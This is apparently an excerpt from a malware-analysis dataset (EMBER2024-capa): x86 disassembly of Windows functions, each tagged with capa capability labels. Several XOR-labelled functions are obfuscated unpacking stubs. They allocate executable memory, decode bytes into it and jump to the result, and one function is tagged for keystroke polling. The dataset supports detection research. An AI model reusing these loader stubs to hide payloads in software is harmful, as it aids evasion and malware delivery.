joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e88d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x42e8c1
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x42e8bc
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x42e8e9
mov ecx, dword [esi + 0x18]
mov eax, dword [esi + 0x14]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x42e8d2
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x10]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00453d50
add esp, 0xc
add dword [esi + 0x18], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop esi
pop ebp
ret

Function at 0x42f686
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x487fb0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x42f730
movzx ecx, word [esi]
test cx, cx
je 0x42f730
mov eax, esi
mov edx, esi
movzx ecx, cx
cmp cx, 0x2f
je 0x42f6c4
cmp cx, 0x5c
jne 0x42f6c6
mov eax, edx
inc edx
inc edx
movzx ecx, word [edx]
test cx, cx
jne 0x42f6b8
cmp eax, esi
je 0x42f704
push edi
sub eax, esi
mov edi, eax
sar edi, 1
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00453c79
xor eax, eax
mov word [ebp + edi*2 - 0x20c], ax
lea eax, [ebp - 0x20c]
push eax
push ebx
call fcn.0042f686
add esp, 0x14
pop edi
lea eax, [ebp - 0x414]
push ebx
push eax
call fcn.00454a3d
lea eax, [ebp - 0x414]
push esi
push eax
call fcn.00454a0f
add esp, 0x10
push 0
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00451380
leave
ret

Function at 0x430c61
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x430cdc
cmp dword [esi + 4], 0xffffffff
jne 0x430cdc
push edi
lea edi, [esi + 0x138]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0x47db84
push edi
call fcn.00454a0f
cmp dword [ebp + 0x10], 1
pop ecx
pop ecx
pop edi
jne 0x430cae
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
je 0x430cae
mov eax, 0x2000000
jmp 0x430ce1
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042e6a3
add esp, 0x10
test eax, eax
jne 0x430ccc
mov eax, dword [ebp + 0x10]
jmp 0x430ce1
push eax
call fcn.0043085d
mov dword [esi], eax
mov eax, dword [0x48bedc]
pop ecx
jmp 0x430ce1
mov eax, 0x1000000
pop esi
pop ebp
ret 0xc
Function at 0x4396f3
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x694], ebx
je 0x43975d
cmp dword [ebp + 8], 0x100
jne 0x43974c
cmp word [ebp + 0xc], 0xd
jne 0x43974c
cmp byte [esi + 0x69a], bl
je 0x439731
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x43974c
cmp byte [esi + 0x69b], bl
jne 0x43974c
mov ecx, dword [esi + 0x5c]
cmp ecx, ebx
je 0x439748
push 1
push ebx
push ebx
push ebx
push str.return
push esi
call fcn.00415f09
xor eax, eax
jmp 0x439760
mov eax, dword [esi + 0x694]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
pop esi
pop ebx
pop ebp
jmp dword [eax + 0xc]
xor eax, eax
inc eax
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x44ce49
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, eax
mov eax, dword [edi + 8]
mov esi, eax
and esi, 7
je 0x44ce6e
cmp eax, esi
jge 0x44ce66
mov eax, edi
call fcn.0044c8d7
mov ecx, esi
shr dword [edi + 0xc], cl
sub dword [edi + 8], esi
xor ecx, ecx
cmp dword [edi + 8], ecx
jle 0x44ce90
mov al, byte [edi + 0xc]
shr dword [edi + 0xc], 8
add dword [edi + 8], 0xfffffff8
mov byte [ebp + ecx - 4], al
inc ecx
cmp dword [edi + 8], 0
jg 0x44ce75
cmp ecx, 4
jge 0x44ceac
mov esi, dword [edi + 4]
mov eax, dword [edi]
cmp eax, esi
jb 0x44ce9d
xor dl, dl
jmp 0x44cea2
mov dl, byte [eax]
inc eax
mov dword [edi], eax
mov byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x44ce93
movzx esi, byte [ebp - 3]
movzx eax, byte [ebp - 4]
movzx ecx, byte [ebp - 2]
shl esi, 8
add esi, eax
movzx eax, byte [ebp - 1]
shl eax, 8
add eax, ecx
mov ecx, esi
xor ecx, 0xffff
cmp eax, ecx
je 0x44cede
mov eax, str.zlib_corrupt
call fcn.00448448
jmp 0x44cf1a
mov eax, dword [edi]
add eax, esi
cmp eax, dword [edi + 4]
jbe 0x44ceee
mov eax, str.read_past_buffer
jmp 0x44ced7
mov eax, dword [edi + 0x10]
lea ecx, [eax + esi]
cmp ecx, dword [edi + 0x18]
jbe 0x44cf04
push esi
call fcn.0044c9a6
pop ecx
test eax, eax
je 0x44cf1a
push esi
push dword [edi]
push dword [edi + 0x10]
call fcn.00453d50
add dword [edi], esi
add dword [edi + 0x10], esi
xor eax, eax
add esp, 0xc
inc eax
pop edi
pop esi
leave
ret

Function at 0x451380
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x487fb0]
jne 0x45138a
repz ret
jmp fcn.004571ec
Function at 0x464c0e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0045c332
and dword [ebp - 4], 0
cmp dword [0x48cba4], 0
mov ebx, eax
jne 0x464cbf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x464d70
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x464d70
push eax
call fcn.0045c2c0
mov dword [esp], 0x47c768
push edi
mov dword [0x48cba4], eax
call esi
push eax
call fcn.0045c2c0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x48cba8], eax
call esi
push eax
call fcn.0045c2c0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x48cbac], eax
call esi
push eax
call fcn.0045c2c0
pop ecx
mov dword [0x48cbb4], eax
test eax, eax
je 0x464cbf
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0045c2c0
pop ecx
mov dword [0x48cbb0], eax
mov eax, dword [0x48cbb0]
cmp eax, ebx
je 0x464d17
cmp dword [0x48cbb4], ebx
je 0x464d17
push eax
call fcn.0045c33b
push dword [0x48cbb4]
mov esi, eax
call fcn.0045c33b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x464d17
test edi, edi
je 0x464d17
call esi
test eax, eax
je 0x464d0e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x464d0e
test byte [ebp - 0xc], 1
jne 0x464d17
or dword [ebp + 0x10], 0x200000
jmp 0x464d50
mov eax, dword [0x48cba8]
cmp eax, ebx
je 0x464d50
push eax
call fcn.0045c33b
pop ecx
test eax, eax
je 0x464d50
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x464d50
mov eax, dword [0x48cbac]
cmp eax, ebx
je 0x464d50
push eax
call fcn.0045c33b
pop ecx
test eax, eax
je 0x464d50
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x48cba4]
call fcn.0045c33b
pop ecx
test eax, eax
je 0x464d70
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x464d72
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x100192ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x100192c9
pop dword [ebp - 0x50]
mov eax, 0x4f9a977b
add eax, 0xc066fb4e
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x8f6f8286
add dword [ebp - 0x60], 0xbee2c2c5
mov dword [ebp - 0x5c], 0xa2fa8d6b
sub dword [ebp - 0x5c], 0x70c74126
mov dword [ebp - 0x58], 0x3a79815d
add dword [ebp - 0x58], 0x11d2c2d1
mov dword [ebp - 0x54], 0xb0a25afe
sub dword [ebp - 0x54], 0xb0a25afe
lea eax, [ebp - 0x60]
push eax
mov eax, 0xf225fc53
sub eax, 0xe2245c4b
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x341f797d
sub dword [ebp - 0x60], 0xbfad1027
mov dword [ebp - 0x5c], 0xf2570dea
sub dword [ebp - 0x5c], 0xb0eaac75
mov dword [ebp - 0x58], 0x27bb8166
sub dword [ebp - 0x58], 0xc44c14fa
mov dword [ebp - 0x54], 0x72558eb3
add dword [ebp - 0x54], 0x8daa714d
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x37eb7
push 0
call eax
mov ecx, 0x9037076a
add ecx, 0x6fc93734
mov edi, eax
mov edx, 0x10024a00
add edx, dword [ebp - 0x50]
mov esi, 0x911f1157
add esi, 0x5ad4608
xor dword [ebp - 0x4c], 0xbd1e1d27
mov ebx, dword [edx]
mov dword [ebp - 0xc], 0x6bb2c8ba
sub ebx, esi
mov dword [ebp - 0x18], 0xb828e9f2
mov dword [edi], ebx
sub dword [ebp - 0x1c], ecx
add edi, 0x1ca4f720
sub edi, 0x1ca4f71c
add edx, 0xd0a05066
sub edx, 0xd0a05062
loop 0x100193e0
add eax, 0xed4b
xor ebx, ebx
add ebx, eax
add eax, 0x9da5b1e
add eax, 0xf625a4e7
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10014630
Capabilities:
Enumerate process modules
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.10018b90
call fcn.1000d420
call fcn.100190f0
call fcn.100092f0
call fcn.10014f90
mov ecx, eax
call fcn.10037430
call fcn.10014f90
mov ecx, eax
call fcn.10014f90
mov esi, dword [esi]
test esi, esi
je 0x10014675
mov ecx, esi
call fcn.10014f90
push esi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
call fcn.10013770
call fcn.1002d0f0
pop esi
jmp fcn.1001f4d0

Function at 0x10014f90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10014f9f
pop dword [ebp - 0x18]
mov eax, 0x10014f9f
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x268c1f20
add dword [ebp - 0x28], 0x27c6262b
mov dword [ebp - 0x24], 0x2ae34a6c
add dword [ebp - 0x24], 0x75001d9
mov dword [ebp - 0x20], 0x1b9ba1f6
sub dword [ebp - 0x20], 0xcf4f5dc8
mov dword [ebp - 0x1c], 0xa5704718
sub dword [ebp - 0x1c], 0xa5704718
lea eax, [ebp - 0x28]
push eax
mov eax, 0x30c587ec
add eax, 0xdf3ec8e0
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x91316d0d
sub dword [ebp - 0x28], 0x1cbf03b7
mov dword [ebp - 0x24], 0xd1cceeed
add dword [ebp - 0x24], 0x6f9f7288
mov dword [ebp - 0x20], 0x794adeb4
sub dword [ebp - 0x20], 0x15db7248
mov dword [ebp - 0x1c], 0xa60501cd
add dword [ebp - 0x1c], 0x59fafe33
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x45c92
push 0
call eax
mov ecx, 0x5059
mov edi, eax
mov esi, 0x10079c00
add esi, dword [ebp - 0x18]
mov ebx, 0x7dacd14e
add ebx, 0x916f84d2
sub dword [ebp - 0x14], edx
mov edx, dword [esi]
add edx, ebx
xor dword [ebp - 4], 0x70378aae
mov dword [edi], edx
add edi, 4
add esi, 4
loop 0x100150ab
add eax, 0xc5b8c0b1
add eax, 0x3a487386
xor ebx, ebx
add ebx, eax
add eax, 0xa6c304bf
sub eax, 0xa6c304ba
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10016a60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ef28
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x1006b894]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x40], eax
cmp dword [esi + 0x30], ebx
jne 0x10016ad9
movzx ecx, word [esi + 0x28]
mov eax, dword [esi + 4]
push ecx
lea edx, [esi + 0xc]
push edx
push eax
call fcn.1000d760
mov ecx, eax
call fcn.10014f90
mov dword [esi + 0x30], eax
cmp eax, ebx
jne 0x10016ad9
push str.Hyphenation_service_not_supported
push 0xffffff36
lea ecx, [ebp - 0x3c]
call fcn.10014f90
push 0x1005d268
lea ecx, [ebp - 0x3c]
push ecx
call sub.MSVCR100.dll__CxxThrowException
call fcn.10014f90
mov ecx, eax
call fcn.10037410
test al, al
je 0x10016b61
cmp byte [esi + 0x3d], bl
jne 0x10016b61
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4c], esp
push 6
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
push 0x10046540
mov byte [ecx], bl
call fcn.10014f90
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x44], esp
push 0xffffffffffffffff
push ebx
lea edx, [esi + 0xc]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
push edx
mov dword [ebp - 4], ebx
mov byte [ecx], bl
call fcn.10014f90
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
push ecx
mov edx, esp
mov dword [ebp - 0x48], esp
mov bl, 1
push edx
mov byte [ebp - 4], bl
call eax
mov byte [ebp - 4], 2
call fcn.10014f90
mov ecx, eax
mov dword [ebp - 4], 0xffffffff
call fcn.10014f90
mov byte [esi + 0x3d], bl
mov ecx, dword [esi + 0x30]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x40]
mov edx, dword [edx + 0xc]
push eax
call edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003c1ea
mov esp, ebp
pop ebp
ret 4
Function at 0x10022c80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004081c
mov eax, dword fs:[0]
push eax
sub esp, 0x478
mov eax, dword [0x1006b894]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [sym.imp.kernel32.dll_ReadFile]
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0x484], ebx
cmp byte [esi + 0x28], bl
je 0x10022de1
mov edx, dword [esi + 4]
push ebx
lea eax, [ebp - 0x480]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push edx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x480], ebx
call edi
cmp eax, ebx
jne 0x10022d19
call dword [sym.imp.kernel32.dll_GetLastError]
push str.MailSlotRead
push eax
lea ecx, [ebp - 0x47c]
call fcn.10014f90
push 0x1005d268
lea eax, [ebp - 0x47c]
push eax
call sub.MSVCR100.dll__CxxThrowException
cmp dword [ebp - 0x480], ebx
jne 0x10022d2a
mov dword [ebp - 4], 0xffffffff
jmp 0x10022cc1
mov dword [ebp - 0x420], 0xf
mov dword [ebp - 0x424], ebx
mov byte [ebp - 0x434], bl
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 1
call fcn.10014f90
lea ecx, [ebp - 0x450]
mov byte [ebp - 4], 2
call fcn.10036db0
mov edx, dword [esi]
mov edx, dword [edx + 8]
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x434]
push ecx
lea eax, [ebp - 0x414]
push eax
mov ecx, esi
mov byte [ebp - 4], 3
call edx
cmp al, bl
je 0x10022d99
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x434]
push ecx
mov ecx, esi
call fcn.10014f90
lea ecx, [ebp - 0x450]
mov byte [ebp - 4], 2
call fcn.10035170
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 4
call sym.AdobeLinguistic.dll_public:_void___thiscall_devtech::RCPtr_struct_devtech::LM_UniString::StringValue_::destructor_void_
cmp dword [ebp - 0x420], 0x10
jb 0x10022dcf
mov edx, dword [ebp - 0x434]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 4], 0xffffffff
jmp 0x10022cc1
mov eax, dword [ebp - 0x484]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1003c1ea
mov esp, ebp
pop ebp
ret

Function at 0x1003ba10
Capabilities:
Get thread local storage value

Disassembly:
mov eax, dword [0x1006bd68]
test eax, eax
je 0x1003ba3b
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x1003ba3b
mov eax, dword [eax + 0x14]
test eax, eax
je 0x1003ba3b
mov ecx, dword [esp + 4]
nop
cmp dword [eax], ecx
je 0x1003ba3e
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x1003ba30
xor eax, eax
ret
mov eax, dword [eax + 0xc]
ret

Function at 0x1003bc40
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1006bd68]
push edi
mov edi, dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x1003bc57
push eax
call edi
test eax, eax
jne 0x1003bc8d
push esi
call fcn.10014f90
push 0x1003b950
push 0x1006bd64
mov esi, eax
call fcn.10014f90
mov eax, dword [0x1006bd68]
add esp, 8
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov eax, dword [0x1006bd68]
pop esi
test eax, eax
jne 0x1003bc8a
pop edi
ret
push eax
call edi
pop edi
ret
Function at 0x1003bd80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x10043248
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1006b894]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov eax, dword [0x1006bd68]
test eax, eax
jne 0x1003bdb2
xor esi, esi
jmp 0x1003bdbb
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
mov dword [esp + 0x14], esi
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
mov dword [esp + 0x20], 0
test esi, esi
je 0x1003bdfd
cmp dword [esi + 0x14], 0
jne 0x1003be3f
cmp dword [esi + 0x10], 0
jne 0x1003be45
push 0x1003b950
push 0x1006bd64
call fcn.10014f90
mov eax, dword [0x1006bd68]
add esp, 8
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [esp + 0x20], 0xffffffff
test esi, esi
je 0x1003be2b
lea ecx, [esi + 4]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003be2b
mov eax, dword [esi]
mov edx, dword [eax]
push 0
mov ecx, esi
call edx
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
cmp dword [esi + 0x10], 0
je 0x1003be85
mov ebx, dword [esi + 0x10]
mov eax, dword [ebx + 4]
mov dword [esi + 0x10], eax
mov ecx, dword [ebx]
test ecx, ecx
je 0x1003be73
mov edx, dword [ecx]
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebx]
mov edx, dword [edi]
mov eax, dword [edx]
push 0
mov ecx, edi
call eax
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x10], 0
jne 0x1003be45
cmp dword [esi + 0x14], 0
je 0x1003bdd7
mov edi, dword [esi + 0x14]
mov ecx, dword [edi + 0x10]
mov dword [esi + 0x14], ecx
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x1003beaa
mov edx, dword [ecx]
mov eax, dword [edi + 0xc]
mov edx, dword [edx + 4]
push eax
call edx
mov ebx, dword [edi + 8]
test ebx, ebx
je 0x1003bedb
lea eax, [ebx + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x1003bedb
mov edx, dword [ebx]
mov eax, dword [edx + 4]
mov ecx, ebx
call eax
lea ecx, [ebx + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003bedb
mov eax, dword [ebx]
mov edx, dword [eax + 8]
mov ecx, ebx
call edx
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x14], 0
jne 0x1003be8f
jmp 0x1003bdd1
jmp 0x1003bd80
Function at 0x1003bf00
Capabilities:
Get thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x10043278
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x1006b894]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
mov eax, dword [0x1006bd68]
mov dword [esp + 0x10], 0
test eax, eax
je 0x1003bf53
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x1003bf53
mov esi, dword [eax + 0x14]
test esi, esi
je 0x1003bf53
mov eax, dword [esp + 0x18]
cmp dword [esi], eax
je 0x1003bfc0
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x1003bf48
call fcn.1003bc40
lea esi, [eax + 0x14]
push esi
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x24]
push edx
call fcn.10014f90
add esp, 0x10
mov dword [esi], eax
mov esi, dword [esp + 0x20]
mov dword [esp + 0x10], 0xffffffff
test esi, esi
je 0x1003bfaf
lea eax, [esi + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x1003bfaf
mov edx, dword [esi]
mov eax, dword [edx + 4]
mov ecx, esi
call eax
lea ecx, [esi + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003bfaf
mov eax, dword [esi]
mov edx, dword [eax + 8]
mov ecx, esi
call edx
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0xc
ret
cmp byte [esp + 0x28], 0
je 0x1003bfd9
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x1003bfd9
mov eax, dword [ecx]
mov edx, dword [esi + 0xc]
mov eax, dword [eax + 4]
push edx
call eax
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esi + 4]
call fcn.1003bb20
mov edx, dword [esp + 0x24]
mov dword [esi + 0xc], edx
jmp 0x1003bf75
Function at 0x1003bff0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
push 0x10043248
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1006b894]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov eax, dword [0x1006bd68]
test eax, eax
jne 0x1003bdb2
xor esi, esi
jmp 0x1003bdbb
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
mov dword [esp + 0x14], esi
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
mov dword [esp + 0x20], 0
test esi, esi
je 0x1003bdfd
cmp dword [esi + 0x14], 0
jne 0x1003be3f
cmp dword [esi + 0x10], 0
jne 0x1003be45
push 0x1003b950
push 0x1006bd64
call fcn.10014f90
mov eax, dword [0x1006bd68]
add esp, 8
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [esp + 0x20], 0xffffffff
test esi, esi
je 0x1003be2b
lea ecx, [esi + 4]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003be2b
mov eax, dword [esi]
mov edx, dword [eax]
push 0
mov ecx, esi
call edx
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
cmp dword [esi + 0x10], 0
je 0x1003be85
mov ebx, dword [esi + 0x10]
mov eax, dword [ebx + 4]
mov dword [esi + 0x10], eax
mov ecx, dword [ebx]
test ecx, ecx
je 0x1003be73
mov edx, dword [ecx]
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebx]
mov edx, dword [edi]
mov eax, dword [edx]
push 0
mov ecx, edi
call eax
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x10], 0
jne 0x1003be45
cmp dword [esi + 0x14], 0
je 0x1003bdd7
mov edi, dword [esi + 0x14]
mov ecx, dword [edi + 0x10]
mov dword [esi + 0x14], ecx
mov ecx, dword [edi + 4]
test ecx, ecx
je 0x1003beaa
mov edx, dword [ecx]
mov eax, dword [edi + 0xc]
mov edx, dword [edx + 4]
push eax
call edx
mov ebx, dword [edi + 8]
test ebx, ebx
je 0x1003bedb
lea eax, [ebx + 4]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
jne 0x1003bedb
mov edx, dword [ebx]
mov eax, dword [edx + 4]
mov ecx, ebx
call eax
lea ecx, [ebx + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x1003bedb
mov eax, dword [ebx]
mov edx, dword [eax + 8]
mov ecx, ebx
call edx
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
cmp dword [esi + 0x14], 0
jne 0x1003be8f
jmp 0x1003bdd1
jmp 0x1003bd80

Function at 0x1003c1ea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1006b894]
jne 0x1003c1f4
repz ret
jmp fcn.1003c9ee
Function at 0x23801a26
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x239825b0]
jne 0x23801a30
repz ret
jmp fcn.2390749a

Function at 0x23802892
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x238028a1
pop dword [ebp - 0x20]
mov eax, 0x19b28319
sub eax, 0xf6325a78
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x8748f
push 0
mov eax, 0x9ddef356
sub eax, 0x7a4da2d6
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x846dbf43
add ecx, 0x7b928010
xor ebx, ebx
add ebx, eax
mov edx, 0x820c0685
sub edx, 0x5e712085
add edx, dword [ebp - 0x20]
mov edi, 0xf7f68be8
add edi, 0xfdcc337
add dword [ebp - 0x18], eax
mov esi, dword [edx]
sub dword [ebp - 4], esi
xor esi, edi
sub dword [ebp - 4], 0x85b68824
mov dword [ebx], esi
xor dword [ebp - 0x1c], edx
add ebx, 4
add edx, 4
loop 0x23802902
add eax, 0xf01f
mov ebx, eax
add eax, 0x802f36db
add eax, 0x7fd0c92a
mov ecx, 0xb097f927
sub ecx, 0x8d17f927
add ecx, dword [ebp - 0x20]
call ebx
leave
ret